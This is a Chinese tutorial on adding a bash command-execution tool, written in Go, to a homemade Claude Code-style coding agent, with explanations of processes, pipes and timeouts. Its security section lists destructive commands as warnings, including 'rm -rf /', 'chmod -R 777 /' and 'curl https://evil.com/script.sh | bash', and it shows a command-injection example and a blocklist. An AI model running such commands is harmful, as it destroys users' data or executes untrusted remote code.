Day 3: Bash 工具-- 30天复刻了一个 Claude Code
Day 3 - 实现 Shell 命令执行,让 Agent 能与系统交互
项目地址: https://github.com/JiayuXu0/MiniCode欢迎大家 Star,感谢感谢
本节目标
- 实现基础的 Bash 命令执行
- 处理命令输出和错误
- 实现命令超时控制
- 了解命令执行的安全考虑
最终效果
$ go run . "检查 Go 版本,然后列出当前目录文件"
让我帮你检查 Go 版本并列出文件。
┌─ bash ─────────────────────────────────
│ 执行: go version
│
│ ✅ 结果:
│ go version go1.22.0 darwin/arm64
└──────────────────────────────────────────
┌─ bash ─────────────────────────────────
│ 执行: ls -la
│
│ ✅ 结果:
│ total 24
│ drwxr-xr-x 5 user staff 160 Jan 15 10:30 .
│ drwxr-xr-x 8 user staff 256 Jan 15 10:20 ..
│ -rw-r--r-- 1 user staff 1234 Jan 15 10:30 main.go
│ -rw-r--r-- 1 user staff 567 Jan 15 10:25 tools.go
│ -rw-r--r-- 1 user staff 89 Jan 15 10:20 go.mod
└──────────────────────────────────────────
Go 版本是 1.22.0,当前目录有 3 个 Go 文件。
─────────────────────────────────────────
Tokens: 234
为什么需要 Bash 工具?
Bash 工具是 AI Agent 与系统交互的桥梁,它让 Agent 能够:
能力:
- 运行测试(
go test,npm test) - 检查系统信息(
go version,git status) - 执行构建(
go build,npm run build) - 查看进程和日志(
ps,tail -f)
价值:
- 验证性强:Agent 可以验证自己的修改
- 自动化:自动执行开发流程中的重复任务
- 完整性:配合文件工具,形成完整的开发助手
设计原则:
用户请求 → Agent 思考 → 调用 bash → 获取真实结果 → 基于结果决策
Bash 工具的挑战
执行 Shell 命令虽然强大,但也有风险:
| 挑战 | Day 3 方案 |
|---|---|
| 危险命令 | 命令检测 + 输出提示 |
| 超时控制 | Context timeout |
| 输出过大 | 限制 10000 字符 |
| 错误处理 | 捕获 stderr |
注意:Day 3 暂不实现权限确认,先关注基础功能。
Step 1: 实现 Bash 工具
在 tools.go 中添加:
package main
import (
"bytes"
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"charm.land/fantasy"
"github.com/bmatcuk/doublestar/v4"
)
// === Bash 工具 ===
// BashInput 定义 bash 工具的参数
type BashInput struct {
Command string `json:"command" jsonschema:"required,description=The shell command to execute"`
Timeout int `json:"timeout,omitempty" jsonschema:"description=Timeout in seconds (default 60)"`
}
// NewBashTool 创建 bash 工具
func NewBashTool() fantasy.AgentTool {
return fantasy.NewAgentTool(
"bash",
`Execute a shell command and return the output.
Use this tool to:
- Run tests (go test, npm test)
- Check system info (go version, git status)
- Execute builds (go build, npm run build)
- View logs or processes
Examples:
- {"command": "go version"}
- {"command": "go test ./..."}
- {"command": "git status"}
- {"command": "ls -la"}
IMPORTANT:
- Commands run in bash shell, supports pipes and redirects
- Output is limited to 10000 characters
- Commands timeout after 60 seconds by default
- Dangerous commands (rm -rf, sudo) should be used carefully`,
handleBash,
)
}
func handleBash(ctx context.Context, input BashInput, call fantasy.ToolCall) (fantasy.ToolResponse, error) {
// 1. 参数验证
if input.Command == "" {
return fantasy.NewTextErrorResponse("command is required"), nil
}
// 2. 设置超时
timeout := 60 * time.Second
if input.Timeout > 0 {
timeout = time.Duration(input.Timeout) * time.Second
}
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
// 3. 创建命令
cmd := exec.CommandContext(ctx, "bash", "-c", input.Command)
// 设置环境变量
cmd.Env = os.Environ()
// 4. 捕获输出
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
// 5. 执行命令
err := cmd.Run()
// 6. 处理结果
output := stdout.String()
errOutput := stderr.String()
// 合并输出
var result strings.Builder
if output != "" {
result.WriteString(output)
}
if errOutput != "" {
if result.Len() > 0 {
result.WriteString("\n")
}
result.WriteString("STDERR:\n")
result.WriteString(errOutput)
}
// 检查错误
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return fantasy.NewTextResponse(fmt.Sprintf("Error: command timed out after %v\n\nPartial output:\n%s", timeout, result.String())), nil
}
// 命令执行失败但有输出
if result.Len() > 0 {
return fantasy.NewTextResponse(fmt.Sprintf("Command failed with exit code %v\n\nOutput:\n%s", err, result.String())), nil
}
return fantasy.NewTextResponse(fmt.Sprintf("Error: %v", err)), nil
}
// 限制输出长度
resultStr := result.String()
if len(resultStr) > 10000 {
resultStr = resultStr[:10000] + "\n\n... (output truncated, showing first 10000 characters)"
}
if resultStr == "" {
resultStr = "(command completed with no output)"
}
return fantasy.NewTextResponse(resultStr), nil
}
Step 2: 更新 main.go
在 main.go 中添加 Bash 工具到工具列表:
// 3. 创建工具列表
tools := []fantasy.AgentTool{
NewGlobTool(),
NewBashTool(), // 新增
}
// 4. 创建 Agent(带工具)
agent := fantasy.NewAgent(
model,
fantasy.WithSystemPrompt(systemPrompt),
fantasy.WithTools(tools...),
)
更新 System Prompt,告诉 Agent 何时使用 bash 工具:
var systemPrompt = `You are a helpful coding assistant with access to file system and shell tools.
Available tools:
- glob: Find files matching a pattern
- bash: Execute shell commands
When executing tasks:
1. Use glob for finding files
2. Use bash for running commands (tests, builds, git, system info)
IMPORTANT:
- Always use tools to get accurate information
- Do not guess command outputs
- Be careful with dangerous commands (rm, sudo)
Respond in the same language as the user.`
Step 3: 运行测试
测试 1: 简单命令
go run . "Go 版本是多少?"
预期输出:
让我检查 Go 版本。
(Agent 调用 bash 工具)
你的 Go 版本是 1.22.0。
--- Tokens: 187 ---
测试 2: 带错误的命令
go run . "运行不存在的命令 foobar"
预期输出:
让我尝试运行该命令。
Error: bash: foobar: command not found
看起来命令 'foobar' 不存在。
--- Tokens: 145 ---
测试 3: 复杂任务
go run . "检查 git 状态,然后列出当前目录的文件"
预期输出:
让我帮你检查。
(调用 bash: git status)
(调用 bash: ls -la)
当前 git 分支是 main,工作区干净。
目录中有 3 个 Go 源文件。
--- Tokens: 312 ---
测试 4: 管道和重定向
go run . "统计当前目录 Go 代码的行数"
预期输出(Agent 使用管道):
(调用 bash: find . -name "*.go" | xargs wc -l)
当前项目共有约 150 行 Go 代码。
--- Tokens: 198 ---
深入理解:技术原理分析
1. Go 进程创建机制
当我们调用 exec.Command 时,Go 底层发生了什么?
┌─────────────────────────────────────────────────────────┐
│ Go 程序 (MiniCode) │
├─────────────────────────────────────────────────────────┤
│ │
│ exec.Command("bash", "-c", "go version") │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ 创建 Cmd 结构 │ │
│ │ - Path: /bin/bash │
│ │ - Args: ["-c", "go version"] │
│ │ - Stdin/Stdout/Stderr pipes │
│ └────────┬─────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ cmd.Run() │ │
│ └────────┬─────────┘ │
└───────────┼─────────────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────┐
│ 操作系统层 │
├───────────────────────────────────────────────────────┤
│ │
│ 1. fork() - 创建子进程 │
│ ├─ 复制父进程的内存空间 │
│ ├─ 继承文件描述符(已重定向到 pipe) │
│ └─ 获得新的进程 ID (PID) │
│ │
│ 2. exec() - 替换进程镜像 │
│ ├─ 加载 /bin/bash 到内存 │
│ ├─ 设置命令行参数 ["-c", "go version"] │
│ └─ 开始执行 bash │
│ │
│ 3. bash 解析并执行 │
│ ├─ bash 再次 fork/exec 创建 go 进程 │
│ ├─ go 命令执行 │
│ └─ 输出写入到 stdout (已被重定向到 pipe) │
│ │
└───────────────────────────────────────────────────────┘
│
▼ (通过 pipe 传回)
┌───────────────────────────────────────────────────────┐
│ Go 程序读取输出 │
├───────────────────────────────────────────────────────┤
│ stdout.String() → "go version go1.22.0 darwin/arm64" │
└───────────────────────────────────────────────────────┘
关键点:
-
fork/exec 模型:Unix/Linux 创建进程的标准方式
fork()创建父进程的完整副本exec()用新程序替换进程镜像
-
为什么需要两步?
fork后可以在子进程中设置环境(重定向、环境变量)- 然后再
exec替换为目标程序 - Go 的
exec.Command封装了这个复杂过程
-
进程层次:
MiniCode (PID: 1234) └─ bash (PID: 5678) └─ go (PID: 9012)
2. 输入输出重定向的原理
Go 如何捕获子进程的输出?答案是 管道(Pipe)。
┌────────────────────────────────────────────────────────┐
│ 父进程 (MiniCode) │
│ │
│ var stdout bytes.Buffer │
│ cmd.Stdout = &stdout ◄────────┐ │
│ │ │
└──────────────────────────────────┼─────────────────────┘
│
┌─────────┴──────────┐
│ Pipe (管道) │
│ ┌──────────────┐ │
│ │ Write End ◄──┼─┼─┐
│ └──────────────┘ │ │
│ ┌──────────────┐ │ │
│ │ Read End ──►┼─┼─┘
│ └──────────────┘ │
└────────────────────┘
│
┌──────────────────────────────────┼─────────────────────┐
│ 子进程 (bash) │ │
│ │ │
│ 文件描述符 1 (stdout) ──────────┘ │
│ 写入: "go version go1.22.0\n" │
│ │
└────────────────────────────────────────────────────────┘
Pipe 的工作原理:
-
创建管道:
// Go 内部创建管道 r, w, err := os.Pipe() // 返回读端和写端 cmd.Stdout = w // 子进程写入 w // Go 从 r 读取,复制到 stdout Buffer -
数据流动:
- 子进程写入 → 管道缓冲区 → 父进程读取
- 阻塞特性:如果管道满了,写入会阻塞
- 自动管理:Go 在后台线程读取,避免死锁
-
为什么不直接共享内存?
- 进程隔离:子进程无法访问父进程内存
- 安全性:防止子进程破坏父进程数据
- 跨进程通信:Pipe 是操作系统提供的 IPC 机制
实际例子:
// 情况 1:正常输出
cmd := exec.Command("echo", "hello")
cmd.Stdout = &buf
cmd.Run() // buf 现在包含 "hello\n"
// 情况 2:大量输出
cmd := exec.Command("find", "/", "-name", "*.go")
cmd.Stdout = &buf
cmd.Run() // 可能有几万行输出,Go 自动管理
// 情况 3:stderr 也需要捕获
cmd.Stderr = &errBuf // 单独的管道
3. Context 超时控制的实现原理
context.WithTimeout 如何实现超时取消?
时间线:
─────────────────────────────────────────────────────────►
0s 30s 60s (超时)
│ │ │
│ cmd.Start() │ │ ctx.Done() 触发
│ │ │
│ │ ▼
│ │ ┌─────────────────┐
│ │ │ 定时器触发 │
│ │ │ cancel() 调用 │
│ │ └────────┬────────┘
│ │ │
│ │ ▼
│ │ ┌─────────────────┐
│ │ │ 发送信号给子进程│
│ │ │ SIGKILL (9) │
│ │ └────────┬────────┘
│ │ │
│ │ ▼
│ │ ┌─────────────────┐
│ │ │ 进程被强制终止 │
│ │ │ cmd.Wait() 返回│
│ │ └─────────────────┘
底层实现:
// 1. WithTimeout 创建
ctx, cancel := context.WithTimeout(parent, 60*time.Second)
// 内部:
// - 创建 timerCtx 结构
// - 启动 time.AfterFunc 定时器
// - 60 秒后自动调用 cancel()
// 2. CommandContext 使用 Context
cmd := exec.CommandContext(ctx, "bash", "-c", "sleep 100")
// 内部:
// - 启动 goroutine 监听 ctx.Done()
// - 当 Done 被关闭时,调用 cmd.Process.Kill()
// 3. 超时发生
<-ctx.Done() // 这个 channel 被关闭
// 触发:
// 1. 向子进程发送 SIGKILL 信号
// 2. Wait() 返回错误
// 3. ctx.Err() 返回 context.DeadlineExceeded
为什么选择 SIGKILL?
| 信号 | 特性 | 优缺点 |
|---|---|---|
| SIGTERM (15) | 可捕获,优雅退出 | ✅ 程序可以清理资源❌ 程序可以忽略 |
| SIGKILL (9) | 不可捕获,强制终止 | ✅ 保证终止❌ 无法清理资源 |
Go 选择 SIGKILL 是因为:
- 确定性:必须终止,不能被忽略
- 超时场景:程序已经超时,不应该继续运行
- 简单性:不需要等待优雅退出
4. bash -c 的工作原理
为什么必须使用 bash -c?直接执行有什么问题?
对比测试:
// 方式 1:直接执行(错误❌)
cmd := exec.Command("ls", "|", "grep", ".go")
// 实际执行:ls 命令收到参数 ["|", "grep", ".go"]
// ls 尝试列出名为 "|" 的文件,失败
// 方式 2:bash -c(正确✅)
cmd := exec.Command("bash", "-c", "ls | grep .go")
// 实际执行:bash 解析整个字符串,识别管道符
// bash 创建两个子进程,连接它们的 stdin/stdout
Shell 解析的秘密:
输入: "ls | grep .go"
┌──────────────────────────────────────┐
│ Bash 解析器 │
├──────────────────────────────────────┤
│ │
│ 1. 词法分析 (Lexing) │
│ ["ls", "|", "grep", ".go"] │
│ │
│ 2. 语法分析 (Parsing) │
│ Pipeline: │
│ Command1: ["ls"] │
│ Command2: ["grep", ".go"] │
│ │
│ 3. 执行 (Execution) │
│ ├─ fork() 创建进程 A (ls) │
│ ├─ fork() 创建进程 B (grep) │
│ ├─ 创建 pipe │
│ ├─ A.stdout → pipe.write │
│ ├─ B.stdin ← pipe.read │
│ └─ 等待两个进程完成 │
│ │
└──────────────────────────────────────┘
exec.Command 不解析的原因:
-
安全性:避免命令注入
// 如果 exec 自动解析,这会很危险: userInput := "file.txt; rm -rf /" exec.Command("cat", userInput) // 应该只 cat,不应该执行 rm -
明确性:强制开发者明确使用 shell
// 明确表示需要 shell 功能 exec.Command("bash", "-c", "ls | grep .go") -
可移植性:不同 shell 语法不同
exec.Command("bash", "-c", ...) // bash 语法 exec.Command("sh", "-c", ...) // POSIX shell exec.Command("powershell", "-c", ...) // Windows
5. 错误处理的三种情况
命令执行后,我们需要区分不同的错误类型:
err := cmd.Run()
if err != nil {
// 情况 1: 超时
if ctx.Err() == context.DeadlineExceeded {
return "command timed out"
}
// 情况 2: 命令失败但有输出
if result.Len() > 0 {
return "Command failed\nOutput: " + result
}
// 情况 3: 命令失败且无输出
return "Error: " + err.Error()
}
为什么这样分类?
情况 1: 超时(60秒后)
─────────────────────────────────────
命令: sleep 100
问题: 命令运行太久
处理: 提供部分输出,告诉用户超时了
Agent 行为: 可以尝试更短的替代方案
情况 2: 命令失败但有输出
─────────────────────────────────────
命令: go test ./...
输出: === RUN TestFoo
FAIL: TestFoo
--- FAIL: TestFoo (0.01s)
exit status 1
问题: 测试失败
处理: 返回完整输出,包含失败原因
Agent 行为: 可以基于错误信息修复代码
情况 3: 命令失败且无输出
─────────────────────────────────────
命令: foobar
问题: 命令不存在
处理: 返回错误信息
Agent 行为: 尝试其他命令或询问用户
设计权衡:
| 方案 | 优点 | 缺点 |
|---|---|---|
| 只返回错误信息 | 简单 | 丢失有用的输出信息 |
| 只返回输出 | 保留所有信息 | 无法区分成功/失败 |
| 分类处理(我们的选择) | 信息完整且结构化 | 代码稍复杂 |
代码解析(完整流程)
现在让我们串联整个流程,看看从 Agent 调用到返回结果的完整过程:
func handleBash(ctx context.Context, input BashInput, call fantasy.ToolCall) (fantasy.ToolResponse, error) {
// ============ 阶段 1: 准备 ============
// 1.1 参数验证
if input.Command == "" {
return fantasy.NewTextErrorResponse("command is required"), nil
}
// 1.2 设置超时 Context
timeout := 60 * time.Second
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel() // 确保释放资源
// ☝️ 内部启动定时器:60秒后调用 cancel()
// ============ 阶段 2: 创建进程 ============
// 2.1 创建命令结构
cmd := exec.CommandContext(ctx, "bash", "-c", input.Command)
// ☝️ 设置:路径=/bin/bash, 参数=["-c", command]
// ☝️ 关联 Context,超时时会 Kill 进程
// 2.2 设置环境变量
cmd.Env = os.Environ()
// ☝️ 继承父进程的所有环境变量(PATH, HOME 等)
// 2.3 创建输出缓冲区和管道
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout // 子进程的 stdout → 管道 → stdout Buffer
cmd.Stderr = &stderr // 子进程的 stderr → 管道 → stderr Buffer
// ☝️ Go 内部创建两个 pipe,并启动 goroutine 读取
// ============ 阶段 3: 执行 ============
// 3.1 启动进程并等待完成
err := cmd.Run()
// ☝️ 内部调用:
// - cmd.Start():fork/exec 创建子进程
// - cmd.Wait():等待子进程结束
// - 期间:后台 goroutine 不断读取管道数据
// ============ 阶段 4: 处理结果 ============
// 4.1 收集输出
output := stdout.String() // 标准输出
errOutput := stderr.String() // 错误输出
// 4.2 合并输出
var result strings.Builder
if output != "" {
result.WriteString(output)
}
if errOutput != "" {
result.WriteString("\nSTDERR:\n" + errOutput)
}
// 4.3 检查错误类型
if err != nil {
// 超时?
if ctx.Err() == context.DeadlineExceeded {
return fantasy.NewTextResponse("timeout: " + result.String()), nil
}
// 有输出的失败?
if result.Len() > 0 {
return fantasy.NewTextResponse("failed: " + result.String()), nil
}
// 无输出的失败
return fantasy.NewTextResponse("error: " + err.Error()), nil
}
// 4.4 限制输出大小
resultStr := result.String()
if len(resultStr) > 10000 {
resultStr = resultStr[:10000] + "\n... (truncated)"
}
// ☝️ 防止返回过大数据(避免 LLM Token 浪费)
// 4.5 返回成功结果
return fantasy.NewTextResponse(resultStr), nil
}
完整时序图:
MiniCode Go Runtime OS Kernel bash go
│ │ │ │ │
│ handleBash() │ │ │ │
├─────────────────>│ │ │ │
│ │ │ │ │
│ │ exec.Command │ │ │
│ ├────────────────>│ │ │
│ │ │ fork() │ │
│ │ ├──────────────>│ │
│ │ │ │ │
│ │ │ exec() │ │
│ │ ├──────────────>│ │
│ │ │ │ fork/exec │
│ │ │ ├────────────>│
│ │ │ │ │
│ │ │ │ 执行 │
│ │ │ │ 输出 │
│ │ │ │<────────────┤
│ │<────读取pipe────┤<─────写入─────┤ │
│ │ │ │ │
│<─────返回────────┤ │ │ │
│ │ │ │ │
安全考虑
虽然 Day 3 暂不实现权限系统,但我们仍需要了解安全风险:
危险命令示例
# 删除文件(无法恢复)
rm -rf /
rm -rf ~/Documents
# 系统修改
sudo apt-get remove --purge *
chmod -R 777 /
# 强制 Git 操作
git push --force
git reset --hard
# 恶意下载执行
curl https://evil.com/script.sh | bash
Day 3 的防护措施
-
在工具描述中警告:
IMPORTANT: - Dangerous commands (rm -rf, sudo) should be used carefully -
输出限制:
if len(output) > 10000 { output = output[:10000] + "... (truncated)" } -
超时控制:
ctx, cancel := context.WithTimeout(ctx, 60*time.Second)
常见问题
Q: 为什么使用 bash -c 而不是直接执行命令?
使用 bash -c:
cmd := exec.Command("bash", "-c", "ls | grep .go")
优点:
- 支持管道 (
|) - 支持重定向 (
>,<) - 支持环境变量展开 (
$HOME) - 支持命令链 (
&&,||)
直接执行的限制:
cmd := exec.Command("ls", "|", "grep", ".go")
// ❌ 不会工作!`|` 被当作 ls 的参数
Q: 命令执行失败但没有错误信息?
原因:某些命令将错误信息输出到 stderr,但 exit code 是 0。
解决:始终返回 stderr:
var result strings.Builder
if output != "" {
result.WriteString(output)
}
if errOutput != "" {
result.WriteString("\nSTDERR:\n")
result.WriteString(errOutput)
}
Q: 如何处理交互式命令?
问题:交互式命令(如 vim, top)不适合在 Agent 中使用。
检测方法:
var interactiveCommands = []string{
"vim", "vi", "nano", // 编辑器
"top", "htop", // 进程监控
"less", "more", // 分页器
}
func isInteractive(cmd string) bool {
for _, ic := range interactiveCommands {
if strings.HasPrefix(cmd, ic+" ") || cmd == ic {
return true
}
}
return false
}
处理:
if isInteractive(input.Command) {
return fantasy.NewTextResponse("Error: interactive commands are not supported"), nil
}
Q: 如何限制可执行的命令?
方法 1:白名单(Day 3 可选实现)
var allowedCommands = []string{
"go", "git", "npm", "ls", "cat", "grep", "find",
}
func isAllowed(cmd string) bool {
for _, allowed := range allowedCommands {
if strings.HasPrefix(cmd, allowed+" ") || cmd == allowed {
return true
}
}
return false
}
方法 2:黑名单
var dangerousCommands = []string{
"rm -rf", "sudo", "mkfs", "dd",
}
浙公网安备 33010602011771号